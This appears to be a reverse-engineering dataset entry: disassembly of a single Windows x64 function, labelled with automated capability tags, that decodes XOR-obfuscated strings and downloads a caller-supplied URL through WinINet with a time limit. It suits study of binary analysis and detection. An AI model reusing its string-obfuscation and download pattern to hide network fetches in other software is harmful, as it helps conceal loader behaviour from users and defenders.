Function at 0x1800f47c0
Capabilities:
Check for time delay via gettickcount
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3b0]
sub rsp, 0x4b0
movaps xmmword [rsp + 0x4a0], xmm7
mov rax, qword [0x1802dd180]
xor rax, rsp
mov qword [rbp + 0x390], rax
mov r12, rdx
mov qword [rsp + 0x58], rdx
mov r14, rcx
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x60], rdx
xor edi, edi
mov rax, qword [str.bch]
mov qword [rsp + 0x48], rax
movdqa xmm7, xmmword [0x18016fe50]
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp byte [reloc.WLDAP32.dll_Ordinal_60], dil
je 0x1800f4949
mov r8d, edi
cmp ebx, 2
jl 0x1800f491a
movdqa xmm4, xmmword [0x1801aecf0]
movdqa xmm2, xmmword [0x180168c90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.1111]
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.5555555555555555]
movd xmm0, dword [rsp + 0x48]
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movdqa xmm3, xmmword [0x18016fd90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.1111]
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [str.5555555555555555]
movd xmm0, dword [rsp + 0x4c]
xorps xmm3, xmm0
movd dword [rsp + 0x4c], xmm3
jmp 0x1800f4949
lea r9, [rsp + 0x48]
nop
mov eax, 0x5397829d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800f4920
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
jne 0x1800f4b75
movsd xmm0, qword [0x1801ab038]
movsd qword [rsp + 0x30], xmm0
mov edx, dword [0x1801ab040]
mov dword [rsp + 0x38], edx
movzx eax, word [0x1801ab044]
mov word [rsp + 0x3c], ax
cmp byte [0x1801ab045], sil
je 0x1800f4b2c
mov ecx, edi
cmp ebx, 2
jl 0x1800f4af4
movdqa xmm4, xmmword [0x1801aecf0]
movdqa xmm5, xmmword [str.1111]
movdqa xmm3, xmmword [0x180168c90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
mov eax, dword [str.5555555555555555]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1801ab038]
xorps xmm3, xmm0
movd dword [rsp + 0x30], xmm3
movdqa xmm2, xmmword [0x18016fd90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
movdqa xmm3, xmmword [0x18016fdb0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, edx
xorps xmm3, xmm1
movd dword [rsp + 0x38], xmm3
mov ecx, listen
mov eax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xe
jl 0x1800f4b00
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], rdi
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800f4b50
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.18004a030
nop
mov rcx, r12
call fcn.18004ac00
jmp 0x1800f4f2b
mov rdx, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x1800f4b84
mov rdx, qword [r12]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r13, rax
test rax, rax
jne 0x1800f4db5
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movsd xmm0, qword [0x1801ab048]
movsd qword [rsp + 0x30], xmm0
mov edx, dword [0x1801ab050]
mov dword [rsp + 0x38], edx
movzx eax, word [0x1801ab054]
mov word [rsp + 0x3c], ax
cmp byte [0x1801ab055], r13b
je 0x1800f4d6c
mov ecx, edi
cmp ebx, 2
jl 0x1800f4d35
movdqa xmm4, xmmword [0x1801aecf0]
movdqa xmm5, xmmword [str.1111]
movdqa xmm3, xmmword [0x180168c90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
mov eax, dword [str.5555555555555555]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x1801ab048]
xorps xmm3, xmm0
movd dword [rsp + 0x30], xmm3
movdqa xmm2, xmmword [0x18016fd90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
movdqa xmm3, xmmword [0x18016fdb0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, edx
xorps xmm3, xmm1
movd dword [rsp + 0x38], xmm3
mov ecx, listen
mov eax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xe
jl 0x1800f4d40
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], rdi
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800f4d90
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.18004a030
nop
mov rcx, r12
call fcn.18004ac00
jmp 0x1800f4f2b
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rdi
mov r15d, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x78], r15
mov byte [rsp + 0x70], 0
xor ebx, ebx
mov dword [rsp + 0x68], ebx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x50], eax
lea r9, [rsp + 0x68]
mov r8d, 0x400
lea rdx, [rbp - 0x70]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1800f4ebc
movzx ebx, byte [rsp + 0x40]
mov r12d, dword [rsp + 0x50]
nop word [rax + rax]
cmp dword [rsp + 0x68], 0
jbe 0x1800f4eb0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, r12d
cmp eax, 0x1388
ja 0x1800f4eb0
mov esi, dword [rsp + 0x68]
mov rax, r15
sub rax, rdi
cmp rsi, rax
ja 0x1800f4e6d
lea rax, [rdi + rsi]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp r15, 0xf
cmova rax, qword [rsp + 0x70]
add rdi, rax
mov r8d, esi
lea rdx, [rbp - 0x70]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rsi], 0
jmp 0x1800f4e87
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x70]
movzx r8d, bl
mov rdx, rsi
lea rcx, [rsp + 0x70]
call fcn.18004a540
lea r9, [rsp + 0x68]
mov r8d, 0x400
lea rdx, [rbp - 0x70]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1800f4eb0
mov r15, qword [rbp - 0x78]
mov rdi, qword [rbp - 0x80]
jmp 0x1800f4e10
mov r12, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x30]
xor ebx, ebx
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [r14], xmm0
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [r14 + 0x10], xmm1
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x1800f4f18
inc rdx
mov rcx, qword [r12]
cmp rdx, 0x1000
jb 0x1800f4f13
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800f4f60
mov rcx, r8
call fcn.180157870
mov qword [r12 + 0x10], rbx
mov qword [r12 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r12], 0
mov rax, r14
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.180157e20
mov rbx, qword [rsp + 0x500]
movaps xmm7, xmmword [rsp + 0x4a0]
add rsp, 0x4b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3